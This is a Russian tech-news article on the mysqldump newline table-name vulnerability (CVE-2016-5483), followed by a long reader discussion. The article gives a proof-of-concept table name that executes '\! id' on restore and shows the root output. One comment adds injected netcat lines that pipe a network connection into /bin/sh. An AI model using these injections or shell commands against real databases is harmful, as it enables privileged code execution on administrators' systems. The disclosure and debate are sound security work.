The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимость в mysqldump, позволяющая выполнить код при восстановлении бэкапа

11.03.2017 09:43

Во входящей в состав MySQL утилите mysqldump, используемой для создания резервных копий, выявлена уязвимость (CVE-2016-5483), позволяющая организовать выполнение произвольных shell-команд или привилегированных конструкций SQL во время восстановления резервной копии при помощи утилиты mysql. Код выполнятся с правами администратора, запустившего mysql. Уязвимостью может воспользоваться пользователь СУБД, имеющий права на создание таблиц.

Проблема вызвана особенностью добавления комментариев с названиями таблиц в выводе mysqldump. Атакующий имеет возможность создать таблицу с переводом строки в имени, что приведёт к тому, что при создании дампа в область комментария попадёт только начало имени, а хвост будет перенесён на другую строку и в дальнейшем выполнен при загрузке дампа. Например, атакующий может создать таблицу с именем "evil \! id select user(),@@version/*", разнесённым на три строки:


   CREATE TABLE `evil  
   \! id
   select user(),@@version/*`  (test text);  
При создании резервной копии в дампе, полученном от mysqldump, часть имени окажется вынесена за пределы комментария:

   --
   -- Table structure for table `evil
   \! id
   select user(),@@version/*`  
   --
При восстановлении резервной копии администратором, кроме команд для загрузки фактического содержимого БД, будут запущены и команды "\! id" и "select user(),@@version/*", так как они оказались вне однострочного комментария:

   $ mysql test < backup.sql
   uid=0(root) gid=0(root) groups=0(root) <-- attacker shell command  
   user()    @@version  
   root@localhost    10.1.18-MariaDB <-- attacker sql query  

Злоумышленник может воспользоваться проблемой для оставления лазейки после успешной атаки по подставновке SQL-кода через уязвимое web-приложение (например, атаковать устаревшие плагины к Wordpress). Атакующий может осуществить подстановку команд в резервную копию, затем выждать какое-то время и более активно атаковать систему, чтобы администратор заметил факт взлома web-приложения или повреждения содержимого БД (например, удалив или изменив данные в БД). Выявив факт атаки или нарушения целостности БД администратор попытается восстановить прошлое состояние, используя наиболее свежую версию резервной копии, но так как атакующий заблаговременно позаботился о подстановке в неё своих команд, при восстановлении бэкапа, администратор поспособствует запуску кода атакующего с повышенными привилегиями.

Проблеме подвержены все версии MySQL, в которых уязвимость остаётся неисправленной, а также выпуски MariaDB до 5.5.53 и 10.1. Обновления пакетов с MariaDB уже выпущены Debian и Ubuntu. Уязвимость была обнаружена осенью, но уведомление компании Oracle осталось без ответа, поэтому спустя 90 дней исследователи опубликовали сведения об уязвимости в открытом доступе. В качестве обходного метода защиты предлагается при создании бэкапов запускать утилиту mysqldump с опцией "--skip-comments", воспользоваться альтернативными инструментами резервного копирования MySQL или запретить доступ пользователей СУБД к выполнению операций "create table".

  1. Главная ссылка к новости (https://blog.tarq.io/cve-2016-...)
  2. OpenNews: Уязвимость в MySQL, позволяющая поднять свои привилегии
  3. OpenNews: В MySQL 8.0 отмечается закат хранилища MyISAM
  4. OpenNews: Критическая root-уязвимость в MySQL
  5. OpenNews: Основатели MySQL начали продвижение лицензии BSL, как альтернативы Open Core
  6. OpenNews: Выпуск СУБД MySQL 5.7.13
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/46174-mysql
Ключевые слова: mysql
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (75) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Gemorroj (ok), 10:11, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –12 +/
    Ну и бред. "Уязвимость" тут на столько мифическая, что о ней можно и не говорить.
    Просто косяк в парсере.
     
     
  • 2.2, Аноним (-), 10:16, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Не согласен, уязвимость хороша именно тем, что на первый взгляд кажется бесполезной.
    Любители социальной инженерии будут в восторге. Один из сценариев атаки описан в предпоследнем абзаце новости. С квалификацией современных web-разработчиков SQL Injection сейчас не такая редкость.
     
     
  • 3.36, KonstantinB (ok), 17:00, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Да, но это скорее еще один трюк из разряда методов социнженерии, чем реальная уязвимость. Прикрыть это, конечно, не помешает (что уже и сделано). Но по сути - это из разряда новомодных копипаст-инструкций формата "запустите curl https://domain.tld/script.sh | sudo bash -": не проверил, что там - ССЗБ.
     
     
  • 4.39, Аноним (-), 18:25, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Более того, можно сделать так чтобы через браузер показывалось одно, а при загрузке curl'ом отдавалось другое.
     
     
  • 5.45, KonstantinB (ok), 20:57, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Ясен пень, что смотреть надо то, что запускать собрался, а не что там в браузере. :)
     
  • 4.48, angra (ok), 21:35, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Но по сути - это из разряда новомодных копипаст-инструкций формата "запустите
    > curl https://domain.tld/script.sh | sudo bash -": не проверил, что там -
    > ССЗБ.

    А в чем принципиальное отличие от старомодного скачать и запустить?

     
     
  • 5.49, KonstantinB (ok), 21:41, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Старомодное предполагает разумный промежуточный шаг "посмотреть, что собрался запускать".

    Копипастная инструкция вида curl | sudo bash - вообще этот шаг исключает.

     
     
  • 6.51, angra (ok), 23:34, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Ни разу не видел, чтобы в инструкции был шаг "Посмотрите, что вы собираетесь запускать". Максимум там бывает исправление фубаров на реальные значения. Ну а те, кто хочет посмотреть по своей инициативе, могут это сделать в обоих случаях. Так что принципиальной разницы не вижу.
     
     
  • 7.52, KonstantinB (ok), 23:53, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    "Не работайте под рутом" тоже обычно не пишут в инструкциях по установке ПО.

    Я о другом: те, кто пишет такие инструкции, сами так никогда не делают, иначе бы в голову не пришла такая команда.
    Более того, я неоднократно видел такие инструкции с http:// (не https://) адресом!

     
     
  • 8.56, angra (ok), 00:25, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то обычно в инструкциях указывается какие шаги делаются под пользователем... текст свёрнут, показать
     
     
  • 9.64, KonstantinB (ok), 03:27, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Если curl взбрыкивает , то проблема либо с MITM, либо с тем местом, откуда раст... текст свёрнут, показать
     
     
  • 10.66, angra (ok), 06:43, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Сдается мне, что кое-кто не знает как работает механизм доверия ssl сертификату ... текст свёрнут, показать
     
     
  • 11.69, тигар (ok), 09:18, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    про -k и его более длинный алиас curl, кажется, сам подсказывает - если с wget... текст свёрнут, показать
     
     
  • 12.71, angra (ok), 10:15, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Очень даже может быть Но в таких случаях обычно звучит что-то вроде я же не ад... текст свёрнут, показать
     
  • 4.61, deadfood (ok), 20:13, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Дада, проверьте что там в несколькогигабайтовом дампе базы данных, а потом рассказывайте про ССЗБ
     
     
  • 5.65, KonstantinB (ok), 03:30, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Дада, проверьте что там в несколькогигабайтовом дампе базы данных, а потом рассказывайте
    > про ССЗБ

    Если дамп мой - я и так знаю, что в нем.
    Если нет - то в голову никогда не придет что-то делать из-под своей учетки и тем более рута.

     
     
  • 6.72, пох (?), 13:05, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Если дамп мой - я и так знаю, что в нем.

    в нем - create table shit
              \!nc hackhost 6666 /dev/null
              \!nc -l 6666 | /bin/sh
              somemoreshit (...

    попавший туда из-за sql-injection в забытом тобой же три года назад в недрах сайта одноразовом тестовом скрипте. И ты об этом вряд ли узнаешь. А при таком апломбе - ты об этом не узнаешь даже когда тебя таким образом поимеют, поскольку самомнения дохрена, а умения читать и делать выводы из прочитанного - ноль.

    одна надежда, что оракл о тебе позаботится.

    Единственный "твой" дамп, который по настоящему твой - это который ты руками набрал по одной буковке.

     
     
  • 7.75, KonstantinB (ok), 16:00, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    В дамп из-за sql injection? Ну-ка наваляйте proof of concept.
     
     
  • 8.76, KonstantinB (ok), 16:04, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    только реалистичный, а не код, создающий динамически таблицы с подстановкой п... текст свёрнут, показать
     
  • 2.12, Аноним (-), 12:05, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +6 +/
    1) арендуешь шаредхостинг.
    2) создаешь сайт визитку.
    3) в mysql делаешь табличку.
    4) заходишь в админку хостинга.
    4.1)  делаешь бкап.
    4.2)   восстанавливаешь из бэкапа.

    и вот ты root.

    что там у соседей по хостингу?  энторнет могазин? данные карточек в базе?

     
     
  • 3.14, Gemorroj (ok), 12:58, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    >> восстанавливаешь из бэкапа.

    чем это отличается от ручного выполнения sql запроса из той же админки? то, что через жопу можно выполнить sql запрос, ну ок, круто че.

     
     
  • 4.40, Аноним (-), 18:27, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +6 +/
    Восстановление может делаться из-под более привилегированного юзера.
     
  • 2.13, apollo2k4 (ok), 12:14, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +3 +/
    А почему собственно косяк в парсере не может быть уязвимостью?
     
     
  • 3.15, Gemorroj (ok), 13:00, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    конкретно в mysqldump она не имеет ценности в силу сложности ее использования. а точнее практически невозможности ее практического использования.
     
     
  • 4.53, XoRe (ok), 23:55, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > конкретно в mysqldump она не имеет ценности в силу сложности ее использования.
    > а точнее практически невозможности ее практического использования.

    Если вы не можете придумать, как это использовать, это не означает, что это невозможно.
    Проходили тыщщу раз:
    - все нормально, это не эксплойт!
    - вот вам дефейсик на главной:)
    - %#$!!! (пачка отложенных кирпичей)

     
  • 2.18, Павел Самсонов (?), 13:18, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Каку надо писой мыть.
     
     
  • 3.20, Павел Самсонов (?), 13:23, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    И ещё подкладывть бумажку, и кушать ампицилин :)


     
  • 2.24, angra (ok), 13:39, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Один сценарий для ее использования таки существует. Дампу, снятому самостоятельно, а не полученному от клиента, обычно(об исключении как раз сабж) можно доверять и как следствие админ может полениться перейти в шелловый и/или мускульный логин клиента.
     

  • 1.3, Аноним (-), 10:16, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А часто ли бывает, что кто-то имеет право создавать таблицы, но не может делать дамп и восстанавливать?
     
     
  • 2.4, Аноним (-), 10:39, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Дефолтовые настройки аккаунта для WordPress.
     
  • 2.5, Аноним (-), 10:44, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А какая разница? Даже если бы злоумышленник мог делать дамп и восстанавливать, это не уменьшило бы опасность уязвимости. Она, по сути, позволяет пользователю, способному создавать таблицы, взломать _системный аккаунт_ (а не аккаунт в mysql) пользователя, занимающегося дампом и восстановлением (а не просто получить право дампа и восстановления). Как правило, этот аккаунт ещё много чего может. Например, выполнять sudo.
     
     
  • 3.25, angra (ok), 13:42, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А что раньше мешало подкинуть этому аккаунту "исправленный" дамп? Дампы то у клиентов обычно хранятся.

     
     
  • 4.32, Аноним (-), 14:21, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Когда дампы хранятся у клиентов, то и восстанавливают их обычно клиенты.
     
     
  • 5.47, angra (ok), 21:32, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Разве что в идеальном мире. Где все клиенты люди умные и знающие, а сисадмины нужны только из-за разграничения уровней доступа.
     

  • 1.8, Ydro (?), 11:19, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –6 +/
    Первые два абзаца полная чущь. Причём здесь утилита mysqldump? В оригинале ясно написано про подстановку в уже имеющийся файл дампа БД. Проблема даже не в парсере, если уж получил доступ на запись в дамп, то можно просто вставить и DROP DATABASE и ждать что дамп запустят с соответствующими правами, притом на БД, а не на систему в целом. Правильно в Oracle делают, что не разговаривают с идиотами устанавливающими себе бэкдор-скрипты.
     
     
  • 2.11, Аноним (-), 11:45, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Это вы не так поняли. В оригинале написано как раз про атаку через выполнение CREATE TABLE, с последующим сливанием кривого имени при запуске mysqldump: "The attacker has gained access your application and can execute arbitrary SQL queries (for example, a backdoor in Wordpress installed via an outdated plugin)...The target runs a regular backup of their database using mysqldump".

    Там даже в примере

    CREATE TABLE 'evil  
    \! id
    select user(),@@version/*'  (test text);  

     
     
  • 3.19, Ydro (?), 13:19, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    У вас первый абзац оригинальной статьи видимо не отображается? mysqldump is a common utility used to create logical backups of MySQL databases. By default, it generates a .sql file containing the queries to create/drop tables and insert your data. By crafting malicious table name, an attacker can execute arbitrary SQL queries and shell commands if the dump file is imported. Обратите внимание на последнее слово imported, что явно указывает на импорт данных из файла в БД, а НЕ НАОБОРОТ (создание файла дампа при помощи утилиты mysqldump)
     
     
  • 4.33, Аноним (-), 14:28, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Разъясняю для непонятливых. Злоумышленник создаёт в БД таблицу с многострочным именем. Команда mysqldump, наткнувшись на такую таблицу, вставляет в дамп все строки имени, кроме первой, как команды, а не часть имени. Поскольку команду mysqldump запускал доверенный пользователь, то и в доверенности дампа сомнений не возникает. Но при попытке из него восстановиться запускаются эти внедрённые команды. Теперь понятно?
     
  • 2.31, oopsy (?), 14:13, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Причём здесь утилита mysqldump?

    1. mysqldump создаёт обычный кекстовый файл, sql-скрипт, с комментариями и прочей фигнёй. Для восстановления дампа необходимо просто выполнить этот скрипт консольным клиентом.

    2. mysql (как и многие другие СУБД) позволяет создавать таблицы с именами, не являющимися идентификаторами. При этом в имя таблицы можно включать символы перевод строки.

    3. поскольку mysqldump помещает имя таблицы в строчный комментарий (комментарий начинается с символов «-- » и распространяется до конца строки) появляется возможность поместить в скрипт некоторое количество произвольных команд, включая обращения к системному shell.

    Так что источник проблемы - mysqldump.

    Для устранения этой проблемы нужно "тщательнее" формировать комментарий. Например, экранировать в комментариях (и, возможно, в других местах где выводятся имена таблиц) управляющие символы.

    Есть утверждения, что это проблема парсера; С парсером всё в порядке - вычитав начало комментария он должен без лишних затей пропустить всё до конца строки, мало-ли что понапишу в скриптах.

     
     
  • 3.60, Ydro (?), 11:38, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Не надо расписывать как работает mysqldump. И отчего вы забыли другие виды комментариев?
    Распечатайте тогда всю документацию. mysqldump - просто выплёвывает то, что в БД и уж если что и является проблемой то сам mysqld (демон), т.к. позволяет создавать таблицы с именами содержащими перевод строки. Ведь можно и без mysqldump создать такую таблицу, не так ли? И вот возникает вопрос, имея права на создание таблиц в 99,999% я буду иметь права на все операции с БД, так какого лешего мне надо будет создавать таблицу с бредовым именем, чтобы её когда-нибудь сдампили, затем надеяться, что когда-нибудь дамп развернут обратно и я выполню операции с теме же правами которые у меня уже есть - это, что такая извращённая рекурсия?
     

  • 1.9, Ilya Indigo (ok), 11:27, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > ... а также выпуски MariaDB до 5.5.53 и 10.1.

    Так 10.1.21 подвержена этой "уязвимости" или нет?

    P.S. В оригинале понятно что нет.
    MariaDB <= 5.5.52 and < 10.1 March 9, 2017

    Не хватает только комментария кое-кого, про то что говорят что кое в чём $subject старый. :-)

     
     
  • 2.43, КО (?), 19:34, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Там в новости ссылка на CVE по ней пройди и увидишь, что в ветке 10.1 исправлено в версии 10.1.21-5
     
     
  • 3.57, Ilya Indigo (ok), 01:00, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Благодарю.
     

  • 1.16, Павел Самсонов (?), 13:01, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ах эта тяга к идеализму :) С точки зрения промышленного станка - надёжность на должном уровне, необходимый уровень безопасности реализован....
     
  • 1.17, Alex_K (??), 13:17, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать загрузку удаленного дампа небезопасно.

    Непонятно, почему в принципе допустимы имена таблиц с переносами строк.

     
     
  • 2.21, angra (ok), 13:28, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу
    > по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать
    > загрузку удаленного дампа небезопасно.

    ШОК!!! Оказывается нельзя выполнять произвольный sql от рута, а надо логиниться под пользователем, для которого делаешь восстановление из дампа. Ну кто бы мог подумать!


     
     
  • 3.22, Павел Самсонов (?), 13:30, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    >> Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу
    >> по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать
    >> загрузку удаленного дампа небезопасно.
    > ШОК!!! Оказывается нельзя выполнять произвольный sql от рута, а надо логиниться под
    > пользователем, для которого делаешь восстановление из дампа. Ну кто бы мог
    > подумать!

    Самое печальное, что при этом приходится сидеть на его стуле :(

     
     
  • 4.23, angra (ok), 13:32, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Как тут любит говорить Led, эникеи должны страдать. Не хочешь работать ногами, работай головой.
     
     
  • 5.30, vitvegl (?), 14:06, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Работать ногами - не есть плохо. Жим платформы ногами, например)
    Но и головой думать следует
     
  • 5.34, Павел Самсонов (?), 14:32, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Хоть иногда стенки сверлю, а то как же "дом построить"?
     
  • 3.26, Alex_K (??), 13:45, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Не путайте пользователя root внутри mysql и системного пользователя.
     
     
  • 4.27, angra (ok), 13:51, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Я и не путаю. Я вообще-то про обоих говорил. Принцип один и тот же.
     
     
  • 5.29, Alex_K (??), 14:02, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Я и не путаю. Я вообще-то про обоих говорил. Принцип один и
    > тот же.

    Ок.

     
  • 3.44, КО (?), 19:37, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да какая разница, тот кто восстанавливает бакап обычно имеет права на файлы БД, дампов, логов по которым можно было бы что-нибудь понять. Так что простой find выясняющий до каких файлов можно дотянуться и удаляющий их rm наделают достаточно шороху. А рут останется неуязвим в голой системе, как тот Неуловимый Джо.
     
  • 2.28, Alex_K (??), 14:00, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Выводы:
    1.
    Под рутом (ОС) загружать сторонний дамп нельзя из-за
    system    (\!) Execute a system shell command.

    2. Даже дамп сделанный собственноручно (без skip-comments) загружать по рутом (ОС) небезопасно.

     
     
  • 3.35, тоже аноним (?), 16:31, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Выводы:

    нет, неправильные.
    Правильные: сторонний или даже собственноручный (разницы совершенно никакой, если только база не твоя собственная и create в ней не можешь делать только ты) дамп нельзя загружать под любым привиллегированным акаунтом самого mysql - что очень неудобно, поскольку обычная практика - не хранить пароли юзеров.
    При этом его еще и нельзя загружать под любым _своим_ системным акаунтом, даже нерутовым- потому что свой обычно позволяет sudo (с паролем, без пароля - похрен, подсунут тебе левый бинарник - ты еще и свой пароль дашь погонять)
    То есть владельцам shared надо заводить отдельную виртуалку со специальным акаунтом для восстановления (вероятно, автоматическую - запустил, сама всосала дамп, сама восстановила, самоуничтожилась вместе с содержимым, следующий запуск с исходного образа), а сам этот акаунт создавать каждый раз для каждого юзера (или таки хранить их пароли с риском что упрут)

    и все потому что какой-то долбодятел решил быть "щедрым" и не ограничил имена таблиц разумными рамками - "а чо, енжина ж может".

     
     
  • 4.37, angra (ok), 17:39, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Да и у тебя они не правильные :)
    Действия для пользователя, требующие только знаний, но не привилегий, надо делать из под пользователя(системного, БД, админка итд). Всегда и не только с sql дампами. Тогда не надо думать, сам ты сделал архив, дамп или еще что-то или не сам, может там быть что-то зловредное или не может.
    Это как с поворотниками или ремнями безопасности в машине, умный доводит их использование до автоматизма и не задумываясь использует даже если ему надо сто метров по дворам в три часа ночи проехать, а дурак начинает каждый раз размышлять: увидят гаишники или не увидят, есть другие машины или нет.

    Ну и в этом случае проблема не столько с именами таблиц, сколько с возможностью вообще выполнять шелловые команды из sql клиента.

     
     
  • 5.54, Анон_ (?), 00:03, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Действия для пользователя, требующие только знаний, но не привилегий, надо делать из под
    > пользователя

    я не знаю пароля пользователя. И не имею ни малейшего желания его знать.
    su для sql почему-то не придумали.
    Кстати, если пользователя поломали, лезя в его акаунт, ты оказываешь ему (и, возможно, себе) медвежью услугу.

    > Ну и в этом случае проблема не столько с именами таблиц, сколько с возможностью вообще
    > выполнять шелловые команды

    вполне достаточно возможности выполнять _sql_ные команды (только совсем не create/insert).
    Включая и grant all.
    Чтобы этого избежать, нужен полноценный restore, а не скармливание дампа универсальному шеллу.

     
     
  • 6.59, angra (ok), 03:25, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > я не знаю пароля пользователя. И не имею ни малейшего желания его знать.
    > su для sql почему-то не придумали.

    Ну если ты ничего о мускуле знать не хочешь, то тебе наверное лучше его не админить. Админ без закидонов решает эту "проблему" в два счета.

     
     
  • 7.68, Аноним (-), 08:23, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    apt-get remove mysqld ?

    d:\windows_server\setup.exe ?

     
     
  • 8.70, angra (ok), 10:13, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    apt-get remove работает с именами пакетов, а не бинарей на диске Ну это тебе в... текст свёрнут, показать
     
  • 8.78, пох (?), 17:10, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    mysql в ней ровно тот же самый и из того же источника А mssql для вебни не вну... текст свёрнут, показать
     
  • 4.38, KonstantinB (ok), 17:43, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > что очень неудобно, поскольку обычная практика - не хранить пароли юзеров

    Это, кстати, проблема именно mysql.
    В postgresql это решаемо.

     
     
  • 5.79, mickvav (?), 14:27, 14/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Отложить в сторонку хеш пароля пользователя, установить случайный длинный, прийти под этим паролем, поднять дамп, вернуть хеш на место - это как-то уже слишком сложно, да?
     
  • 3.41, Alex_K (??), 19:03, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Как вариант перед импортом дампа вырезать из него строки, которые начинаются с system или \!
     
     
  • 4.46, angra (ok), 21:29, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Ну вот какую глупость только не придумают, лишь бы не делать правильно. Ну выполни в клиенте такую строку:
    select 1; \! id
     
  • 4.50, Аноним (-), 21:46, 11/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Аутиста по решению важных вопросов видно из-далека.
     
  • 4.55, Анон_ (?), 00:07, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Как вариант перед импортом дампа вырезать из него строки, которые начинаются с
    > system или \!

    правильная обработка untrusted input заключается ровно в обратном - вырезать все строки, содержащие что-либо кроме create/insert в правильном sql-синтаксисе.

    проблема в том, что сама строка create с переводами строки - в правильном sql-синтаксисе, и правильно работает, проблемы будут потом у того, кто этот дамп еще где-то попытается залить без двойного презерватива.

     
     
  • 5.58, Сифилис (?), 01:49, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Двойной тоже рвется
     

  • 1.42, Аноним (-), 19:31, 11/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    В MySQL все еще не завезли нормальные ACL для разграничения Events, Trigger, ...?
     
  • 1.62, gogo (?), 21:08, 12/03/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вообще, это большой пласт проблем, на которые в mysql никогда даже не хотели разговаривать.
    Безопасно восстановить чужой дамп от имени рута - это общая, тривиальная задача, которая НЕ реализована в mysql/mariadb.

    Начиная с того, что в дампе могут встретится команды use databasename. И заканчивая опубликованным. Какой смысл, что я даю команду "mysql имя_базы < дамп", если я не могу быть уверенным, что данные попадут именно в эту базу?

    Если я должен использовать какие-то сторонние средства, типа использовать логин/пароль юзера, то почему это нельзя реализовать средствами самой утилиты mysql? Или, например, такой функционал должен быть вынесен в mysqladmin, который в принципе подразумевает, что он будет использоваться только админом.

    По аналогии с "tar -x", подобные команды должны быть в mysql/mariadb безопасными, с точки зрения рута.

     
     
  • 2.63, Аноним (-), 21:26, 12/03/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    MySQL - Legacy РСБД с грязными хаками как IE6 для веб-макак.

    Не имеет ничего общего со стандартизированными или современными решениями включая PgSQL.

     
     
  • 3.73, пох (?), 13:15, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > MySQL - Legacy РСБД с грязными хаками как IE6 для веб-макак.

    была бы она не для веб-макак, было бы пофигу, что там нет нормального restore. Энтерпрайзную базу я восстанавливаю без особой опаски - туда чужие не ходят.

    > Не имеет ничего общего со стандартизированными или современными решениями включая PgSQL.

    о, да. vacuum full не имеет (сколько лет вам читают мантру что он deprecated, и мы его
    вообще скоро уберем, если не в следующей версии, то хотя бы через одну - точно?)
    Если что - эта радость, вместе с форматом хранения, вызвавшим ее к жизни, унаследована от postgres95 (и да, это год, а предыдущее слово говорит, кто и зачем эту хрень придумал), где у ее существования было вполне понятное
    основание, а идеи использовать ЭТО в продакшне у тех постдоков не было и быть не могло, исключительно исследовательский проект для написания диссера (и докторской руководителем).

     
  • 2.67, Ydro (?), 08:22, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Ну, всё, конец света, вырубайте комп. А прогнать дамп на поиск сочетания нежелательных ключевых слов не судьба?
     
     
  • 3.74, пох (?), 13:24, 13/03/2017 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Ну, всё, конец света, вырубайте комп. А прогнать дамп на поиск сочетания
    > нежелательных ключевых слов не судьба?

    а в дампе - статья с опеннета, описывающая проблему.
    (ну либо вовсе статья о разработке/администреже mysql)
    Причем она начинается со второго гигабайта этого дампа.

    Тебе нужен полноценный парсер sql-синтаксиса, старательно обходящий ескейпинги, нерегулярности и чудеса собственно mysqldump. Та еще жопа. Я до сих пор бережно храню regex, вырезающий из дампа (статичного и с точно известной начинкой) нужные поля, сам ниасилил.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру